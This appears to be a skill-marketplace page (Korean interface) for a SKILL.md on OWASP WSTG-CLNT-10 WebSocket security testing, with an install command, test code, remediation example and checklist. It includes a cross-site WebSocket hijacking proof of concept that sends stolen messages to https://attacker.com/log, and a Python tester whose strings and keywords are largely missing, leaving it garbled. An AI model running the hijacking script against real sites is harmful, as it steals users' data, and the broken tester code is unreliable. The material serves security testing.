Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-clnt-10명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | wstg-clnt-10 |
| description | Testing WebSockets |
| category | client-side |
| owasp_id | WSTG-CLNT-10 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["client-side","javascript","dom","cors","wstg","clnt"] |
| tech_stack | [] |
| cwe_ids | ["CWE-200"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-CLNT-10
Testing WebSockets
WebSockets provide full-duplex communication channels over a single TCP connection. Security issues can arise from missing authentication, lack of input validation, cross-site WebSocket hijacking, and insecure data transmission.
// Browser console
// Check for WebSocket connections
console.log("WebSocket instances:", window.WebSocket)
// Monitor WebSocket creation
const originalWS = window.WebSocket
window.WebSocket = function (...args) {
console.log("WebSocket created:", args)
return new originalWS(...args)
}
#!/usr/bin/env python3
import asyncio
import websockets
import json
class WebSocketTester:
():
.ws_url = ws_url
.findings = []
():
()
origins = [
,
,
,
]
origin origins:
:
headers = {: origin}
websockets.connect(
.ws_url,
extra_headers=headers
) ws:
()
.findings.append({
: ,
:
})
Exception e:
()
():
()
:
websockets.connect(.ws_url) ws:
ws.send(json.dumps({: }))
response = asyncio.wait_for(ws.recv(), timeout=)
()
()
.findings.append({
: ,
:
})
Exception e:
()
():
()
payloads = [
,
,
,
]
:
websockets.connect(.ws_url) ws:
payload payloads:
ws.send(payload)
:
response = asyncio.wait_for(ws.recv(), timeout=)
()
()
:
Exception e:
():
.test_origin()
.test_no_auth()
.test_injection()
tester = WebSocketTester()
asyncio.run(tester.run_tests())
<!-- Host on attacker.com -->
<script>
// If origin is not validated, can hijack WebSocket
const ws = new WebSocket("wss://target.com/ws")
ws.onopen = function () {
ws.send(JSON.stringify({ action: "get_sensitive_data" }))
}
ws.onmessage = function (event) {
// Steal data
fetch("https://attacker.com/log", {
method: "POST",
body: event.data,
})
}
</script>
# Validate origin in WebSocket connection
@websocket.route('/ws')
async def websocket_handler(ws):
origin = ws.headers.get('Origin')
allowed_origins = ['https://trusted.com']
if origin not in allowed_origins:
await ws.close(code=1008, reason='Invalid origin')
return
# Require authentication
token = ws.headers.get('Authorization')
if not validate_token(token):
await ws.close(code=1008, reason='Unauthorized')
return
# Process messages with input validation
async for message in ws:
data = sanitize_input(json.loads(message))
# Process...
| Finding | CVSS | Severity |
|---|---|---|
| No origin validation | 8.1 | High |
| No authentication | 7.5 | High |
| Injection vulnerabilities | 7.5 | High |
| Unencrypted (WS not WSS) | 5.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-1385 | Missing Origin Validation in WebSockets |
[ ] WebSocket endpoints identified
[ ] Origin validation tested
[ ] Authentication tested
[ ] WSS encryption checked
[ ] Input validation tested
[ ] Findings documented